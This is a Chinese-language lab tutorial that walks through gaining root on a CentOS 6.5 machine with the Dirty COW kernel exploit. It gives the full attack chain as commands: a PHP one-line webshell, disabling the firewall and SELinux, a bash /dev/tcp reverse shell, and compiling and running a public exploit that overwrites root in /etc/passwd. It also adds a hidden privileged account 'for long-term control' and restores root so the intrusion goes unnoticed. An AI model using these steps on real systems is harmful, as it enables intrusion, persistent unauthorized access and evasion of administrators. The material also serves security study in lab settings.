一、实验目的:

通过搭建漏洞环境,学习linux本地脏牛提权技巧。

二、工具:

AntSword(蚁剑) / 菜刀

三、实验环境:

靶   机: CentOS_6.5虚拟机:192.168.100.163
        Apachephp环境

攻 击 机: kali虚拟机:192.168.100.132

四、漏洞说明:

1. 原理:

  该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的写权限,进一步获取 root 权限。

2. 漏洞成因:

  Linux写时拷贝技术(copy-on-write),在Linux系统中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,Linux系统中引入了“写时复制”技术,也就是只有进程空间的各段的内容要发生变化时,才会将父进程的内容复制一份给子进程。

五、环境准备:

1. 安装Apache及php环境:

命令:

su root                       # 从普通用户切换到root用户,因为使用yum源安装程序需要root权限。
yum -y install httpd php      # 安装apache服务器和php环境
service httpd start           # 启动apache服务器

2. 安装gcc编译器(C语言编译器):

  GCC 是一个C语言编译器。GCC 编译器是 Linux 系统下最常用的 C/C++ 编译器,大部分 Linux 发行版中都会默认安装。GCC 编译器通常以gcc命令的形式在终端(Shell)中使用。
  由于本次实验使用的是脏牛漏洞,提权脚本使用的是C语言编写的,需要目标系统安装gcc编译器对脚本进行编译,使linux能够解析提权脚本。

安装gcc编译器:

2. 关闭防火墙:

  这里关闭防火墙的原因是为了避免防火墙策略阻拦出站入站的流量。

命令:

service iptables stop  # 关闭防火墙
setenforce 0           # setenforce是Linux的selinux防火墙配置命令, 执行setenforce 0 表示关闭selinux防火墙。
# setenforce命令是单词set(设置)和enforce(执行)连写,另一个命令getenforce可查看selinux的状态。
# enforce:加强,这里指的是security enforce安全加强,也就是SELinux,setenforce 0就是表示关闭SELinux。

3. 营造webshell环境:

  提权的前提条件是我们已经获得了目标系统的webshell,我们需要通过webshell把提权脚本上传到靶机;所以这里为了营造已经获得webshell的环境,我们在靶机网站主目录下创建一个一句话木马。

1、进入/var/www/html目录下,并写入一句话木马,这个目录就是靶机的网站主目录:
命令:

cd /var/www/html
vim test.php


test.php文件内容:

<?php @eval($_REQUEST[666]);?>


2、使用浏览器连接webshell,查看是否可以解析,出现phpinfo()信息,说明可以解析:

3、使用AntSword(蚁剑)进行连接:


3、进入虚拟终端:

六、提权过程:

1. 进行信息收集:

收集当前用户权限及操作系统版本信息:

命令:

whoami                   # 查看当前用户权限,如果是root用户就不用提权;
uname -a                 # 查看linux操作系统内核信息
cat /proc/version        # 查看linux系统当前操作系统版本信息
cat /etc/issue           # 查看linux当前操作系统发行版本信息
cat /etc/redhat-releas   # 查看linux当前操作系统发行版本信息
cat /etc/*-release       # 查看linux当前操作系统发行版本信息


使用kali通过linux版本查看可以利用提权exp:

命令:

searchsploit "linux 2.6.32" "CentOS 6.5"  # 搜索漏洞利用exp
find / -name 9479.c                       # 使用find命令,从根目录下,搜索文件名为9479.c的文件。

使用漏洞利用数据库搜索与内核相关的漏洞exp:

漏洞利用数据库链接:https://www.exploit-db.com/

使用提权辅助脚本扫描可以利用的提权漏洞:

提权辅助脚本下载:

git clone https://github.com/jondonas/linux-exploit-suggester-2.git
# 如果目标系统安装了git,可以使用git直接进行git clone
# 如果目标系统没有安装,可以查看有没有安装wget和curl两个工具。
# 目标安装了wget和curl,需要我们把这个提权脚本放到我们自已vps服务器上,把脚本从我们服务器上面下载。

在我的虚拟机 CentOS 执行时,发现存在脏牛提权漏洞:
命令:

cd linux-exploit-suggester-2
./linux-exploit-suggester-2.pl

可以参考文章:Linux提权exp大全

2. 进行提权:

1、为了方便,反弹靶机的交互式shell给kali:

  由于蚁剑里面的shell不是交互式的shell,不能使用一些交互式的操作,比如文件编辑等,所以需要反弹一个交互式的shell给我们。

命令:

nc -lvvp 6666    # 在kali里面监听kali本机6666;
bash -i >& /dev/tcp/自己的ip(监听主机的Ip)/自己的端口(监听主机的端口监听端口) 0>&1

使用vim可以打开文件,说明可以操作文件,是一个交互式的shell:

2、通过上面的信息收集可以知道存在脏牛漏洞,使用脏牛漏洞进行提权,下载脏牛漏洞提权脚本:
这里我不使用上面的信息收集的脏牛漏洞提权脚本,使用我自己用过,比较好用的一个脏牛漏洞提权脚本。

git clone https://github.com/FireFart/dirtycow.git


3、上传脏牛漏洞脚本dirty.c文件到靶机上:
注:由于权限原因,可能有的目录无法上传,但是/tmp/目录一般是可以上传文件的。


可以看到文件上传成功:

4、由于这个提权脚本是使用c语言进行编写的,所以需要使用gcc对它进行编译:
命令:

cd /tmp
ls -l
gcc -pthread dirty.c -o dirty -lcrypt

可以看到下面这个文件具有执行权限,如果没有执行权限的话,可以使用下面命令给它赋权:
命令:

chmod +x dirty

5、运行上面编译完成的脚本,会生成一个firefart用户,用来替代root用户,密码为执行文件时自己设置的123456:
命令:

./dirty 密码  # 后面跟的密码是给firefart用户,说明提权成功:设置的密码
# 运行成功将原始/etc/passwd 文件备份到/tmp/passwd.bak;
# 生成一个firefart用户,这个用户会覆盖原来的root用户;
# 运行漏洞利用后,您应该能够使用新创建的用户登录。 

运行过程中会特别卡,需要等待一段时间,如果还是没有反应,可以退出当前shell,重新反弹一个shell:


6、查看用户是否被替换,如果passwd文件中存在firefart用户,说明提权成功:

7、使用Xshell或者finalshell进行远程连接:

可以看到,这个用户在root组里面:

8、为了能够长期控制,而不会使正常的管理员能够登陆,所以需要创建一个具有管理员权限的用户:
命令:

useradd test1
passwd test1
vim /etc/sudoers
gpasswd -a test1 wheel

vim命令模式下输入:shift+: 进末行模式,输入:set nu显示行号:

经过以上操作,创建的test用户具有root用户权限。

9、把正常的root用户重置回来,通过下图可以看出,passwd文件中的root已经存在的,说明成功重置回来了:
注:因为使用这个脚本把目标的root用户替换了,下次目标进行登陆时,就无法使用root用户了,这里需要把root用户重置回来。

mv /tmp/passwd.bak /etc/passwd
cat /etc/passwd


Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐